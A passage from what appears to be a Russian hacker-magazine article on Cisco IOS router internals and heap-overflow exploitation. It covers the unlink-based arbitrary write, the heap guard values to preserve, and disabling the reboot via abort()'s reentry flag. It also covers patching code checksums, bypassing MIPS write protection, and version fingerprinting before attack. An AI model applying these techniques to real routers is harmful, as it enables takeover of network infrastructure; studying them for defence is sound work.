а) энергонезависимую перезаписываемую FLASH, содержащую сжатый образ операционной системы (для сжатия используется библиотека zlib); б) энергонезависимую перезаписываемую NVRAM со стартовой конфигурацией (startup-config); в) энергозависимую перезаписываемую DRAM/SRAM (обычная оперативная память); г) энергонезависимую не перезаписываемую постоянную память типа BootROM, содержащую ROMMON код, включающий себя процедуру начального тестирования POST, первичный загрузчик IOS, короче говоря, ПЗУ в обычном его понимании. В усеченных конфигурациях NVRAM может отсутствовать. Подробности можно найти в материале «Cisco Router Forensics».
Если процессор — сердце маршрутизатора, то операционная система — его душа. В оборудовании Cisco Systems, Inc. главным образом используются две операционных системы: CatOS и Cisco IOS (Internet Operation System), причем последняя намного более популярна. Это операционная система реального времени, скомпилированная gcc и подозрительно похожая на BSD. Она основана на монолитной архитектуре ядра, то есть загружаемых модулей нет, во всяком случае пока. По соображениям быстродействия в ранних версиях операционной системы все процессы работали с одним и тем же образом (image) и разделяли единое адресное пространство (share memory space).
Никакой защиты от воздействий со стороны одного процесса на код/данные, обрабатываемые другим процессом, не предусматривалось, что существенно облегчало написание shell-кода. Так же имелся псевдомногозадачный планировщик не вытесняющего типа «run to completion» (выполнение до завершения). То есть, если в Windows NT операционная система сама переключает потоки без участия со стороны программиста, то в Cisco IOS поток должен явно вызвать системную функцию для передачи управления. А это значит, что shell-код может легко захватить власть над системой (например, используемый Агентством Национальной безопасности бэкдор JETPLOW, о котором нам любезно рассказал Эдвард Сноуден в прошлом году) и не давать себя удалять, впрочем, радоваться по этому поводу слишком рано.
Начиная с IOS-XR поддерживается и защита памяти между процессами, и вытесняющая многозадачность. (Подробности о структуре Cisco IOS можно почерпнуть из книжки «Inside Cisco IOS software architecture» издательства Cisco Press, которую легко найти в любом книжном магазине или скачать с торрента). Поверх ядра накидано множество программного обеспечения, занимающегося самыми разнообразными задачами — от маршрутизации до «чистки» конюшен, причем, в различных «железках» это программное обеспечение сильно неодинаково. И приложения, и ядро работает с одинаковым уровнем привилегий и имеют доступ ко всем системным ресурсам. Программные файлы представляют собой обыкновенные 32-битные статически слинкованные ELF‘ы с покоцанной отладочной инфой (ELF 32-bit MSB executable, statically linked, stripped).
Управление маршрутизатором осуществляется через любой внешний порт — от COM-шнурка, до telnet-терминала, работающего на TCP/IP. Интерфейс — командная строка. Среди команд есть как документированные, так и нет (подробнее о недокументированных командах можно узнать у старика Гугла; запрос «undocumented Cisco IOS command» выдает тысячи ссылок, среди которых встречается немало полезных.
Настоящим подарком для хакеров стала команда «gdb«, вызывающая встроенный отладчик и поддерживающая следующие подкоманды:
gdb debug PID /* не реализовано */ examine PID /* отладка процесса с указанным PID */ kernel /* отладка ядра, работает только с консоли */
Однако, прежде чем использовать отладчик его необходимо скомпилировать. Идем на http://www.gnu.org/software/gdb/download/, берем копию посвежее или, наоборот, по старее (предпочтительно использовать gdb-4.18 как наиболее протестированную) и говорим:
mkdir m68k-cisco ../configure —target m68k-cisco make
В результате мы получим двоичный файл для платформы m68k. Для остальных платформ компиляция осуществляется аналогичным образом. Теперь можно начинать отладку! Консоль в это время будет нефункциональна, а весь обмен с отладчиком пойдет через его собственный отладочный протокол, описанный в исходном файле remote.c
На маршрутизаторе устанавливается серверная часть отладчика, а на терминале — клиентская. Причем отладка ядра (подкоманда kernel) возможна только с консоли.
Дадим команду «gdb examine 18«, где «18» – идентификатор отлаживаемого процесса (в данном случае «logger«). Подробнее обо всем этом можно прочитать на сайте команды XFocus: http://www.xfocus.net/articles/200307/583.html) Основные отладочные команды перечислены ниже:
Для отладки желательно иметь символьную информацию, однако, Cisco IOS — это закрытая система с закрытыми спецификациями (ну, не такими уж и закрытыми учитывая, что это порт BSD, унаследовавший родимые пятна багов в zlib, ssh и SNMP) и символьной информации не достать (во всяком случае через легальные каналы), тем не менее корпеть над дизассемблированием дампа не придется.
В мае 2004 года корпоративная сеть Cisco Systems, Inc. была взломана и исходные тексты операционной системы Cisco IOS 12.3, 12.3t попали в руки хакера по кличке franz, который распространил через IRC небольшую часть исходников ~2.5 Мб в качестве доказательства (самое интересное, что именно в этой месте Майкл обнаружил баг, подозрение усиливается тем фактом, что за ночь дизассемблировать Cisco IOS совершенно невозможно, а именно столько потребовалось ему на анализ).
К настоящему времени исходные тексты просочились в сеть и теперь их можно найти на торрентах, полный объем архива составляет 800 Мб. Впрочем, отсутствие исходных текстов — это еще не преграда. IDA Pro в руки и айда.
Прогружаем JETPLOW или где и как искать дыры в Cisco IOS
Приемы поиска переполняющихся буферов в Cisco IOS мало чем отличается от других операционных систем, но есть в ней и свои особенности. Стек используется крайне редко, в основном она налегает на кучу. По сообщениям Cisco Systems, Inc., разрушение кучи — наиболее распространенный баг её маршрутизаторов. Но вот о том, что причиной разрушения являются переполнения динамических буферов она предпочитает умолчать. Так что дыры есть!
Методика переполнения кучи подробно описана в книге «hacker shellcoding uncovered» и в статье «Once upon a free()» из 57 номера Phrack’а. В Cisco IOS все блоки памяти объединены в двунаправленный список следующего типа:
При освобождении памяти выполняется следующий код, исключающий текущий блок из цепочки занятых блоков:
*prev=*next; *(next+20) = *prev;
Результатом этой операции становится запись в ячейки *prev и *(next+20) значений *next и *prev. Если в результате переполнения нам удастся подменить поля prev и next мы соврем банк, получив возможность писать произвольные данные/код в любое выбранное место.
Эта техника (кстати говоря, разработанная хакерами FX и KIMO), получила название «Uncontrolled pointer exchange«, но прежде чем ей воспользоваться необходимо познакомится со структурой кучи. Она довольно проста:
В начале идет так называемый магический номер (MAGIC), равный AB1234BCh, а в самом конце — Красная Зона (REDZONE), равная FD1001DFh. Обе выполняют охранную функцию и затирать их нельзя. Значение указателя prev проверяется перед освобождением и потому должно быть валидно.
В упрощенном виде проверка выглядит так:
if (next_block->prev!=this_block+20) abort();
Еще проверяется значение поля Size + Usage, старший бит которого определяет занятость блока (0 — свободен, 1 — занят), что создает проблемы при строковом переполнении, поскольку мы не можем располагать здесь нули и минимальное значение, которое мы можем получить получается слишком большим (7F010101h), однако, тут есть обходной путь. Поскольку, переполнение разрядной сетки никем не контролируется, использование значений типа 7FFFFFFFh дадут ожидаемый результат.
Остальные поля никак не контролируются и могут содержать любые значения. Короче говоря, написание shell-кода вполне возможно. Операционная система Cisco IOS использует статические адреса (что есть хорошо), но они меняются от одного билда к другому, а это уже плохо. Поэтому, прежде чем атаковать свою жертву, необходимо тем или иным способом определить версию Cisco IOS, иначе JETPLOW сдохнет ещё даже не прогрузившись в устройство. Это можно сделать через CDP или SNMP.
Ещё хуже, что Cisco IOS контролирует целостность кучи и автоматически перезагружает маршрутизатор, если цепочка ссылок (chunk linkage) оказывается разрушенной. За это отвечает специальный фоновой процесс, в зависимости от загрузки маршрутизатора пробуждающиеся каждые 30 или 60 секунд. Именно он проверяет магический номер и красную зону. Так что shell-коду отпущено совсем немного времени. Конечно, 30 секунд – это целая вечность для процессора, за которую можно не только внедриться в целевое железо, но и заразить множество соседних маршрутизаторов. Хакеры FX и KIMO предложили несколько решений этой проблемы, но все они оказались нежизнеспособными. Майкл был первым, кому удалось нащупать правильный путь, простой как всё гениальное.
Оказалось, процедура abort(), выполняющая перезагрузку, использует специальный флаг-семафор, предотвращающий повторное вхождение (по такому же принципу устроена защита от многократного нажатия Alt-Ctrl-Del в Windows NT). Если мы установим его в единицу, функция abort() тут же выполнит return без всякий перезагрузки. Ниже приведен ее ключевой фрагмент (впрочем, маршрутизатор всё равно будет перезагружен через некоторое время, ведь куча разрушена, так что shell-коду надо спешить).
Ни одна из версий Cisco IOS, работающих на платформе M68K, не использует аппаратные механизмы контроля за памятью, предоставляемые MMU (Memory Management Unit – Блок Управления Памятью), поэтому запись в кодовый сегмент проходит вполне беспрепятственно. Для защиты от непреднамеренного разрушения используются контрольные суммы. Каждые 30 или 60 секунд специальный процесс сканирует кодовый сегмент на предмет проверки его валидности и перезагружает маршрутизатор, если контрольные суммы не совпадают с расчетными. Однако, против преднамеренной модификации эта «защита» уже не срабатывает, поскольку контрольные суммы легко пересчитать и подправить.
На платформе MIPS операционная система Cisco IOS ведет себя иначе. На стадии инициализации она перепрограммирует MMU, запрещая модификацию кодового сегмента. Любая попытка записи в эту область вызывает крах системы и последующую перезагрузку маршрутизатора. Против непреднамеренной модификации этот механизм действует очень хорошо, но здравомыслящий хакер, после пятого пива, сможет легко его обойти. Идея заключается в отображении одной из физических кодовых страниц на область данных в записываемый регион. Аналогичный трюк, кстати говоря, используется и для модификации ядра Windows NT. В частности, он применяется во многих брандмауэрах и утилитах Марка Руссиновича.
Сноуден отдыхает
Вот три основных источника данных для поиска переполняющихся буферов: исходные тексты, обновления firmware и дамп памяти. Исходные тексты хороши тем, что их легко читать, но они не дают никакой информации о реализации системы на конкретном маршрутизаторе, к тому же их добыча вообще говоря не совсем законна.
Firmware как правило упакован и перед дизассемблированием его необходимо распаковать, причем сделать это не так-то просто, поскольку Cisco Systems, Inc. слегка покалечила заголовок. Майкл использовал WinRAR, другие хакеры используют zlib и пишут свой распаковщик самостоятельно.
Дамп памяти, создаваемый либо по команде, либо в результате краха системы, зачастую бывает сильно поврежден и дизассемблировать его непросто. С другой стороны, он содержит реальный образ рабочей системы и потому наиболее точно отображает текущее положение дел.
Outro
Операционная система Cisco IOS чрезвычайно широко распространена: она встречается и в коммутаторах, и в маршрутизаторах, и в точках доступа, однако, не стоит думать, что обнаружив новую дыру мы сможем взять все эти устройства под свой контроль, ведь в них используется различные процессоры и различные версии Cisco IOS, а потому с каждой железкой приходится воевать индивидуально. Хорошая новость — в отличии от серверов и персональных компьютеров, далеко не весь парк оборудования под управлением Cisco IOS позволяет обновлять прошивку, а даже если и позволяет, далеко не каждый администратор об этом задумывается всерьез.
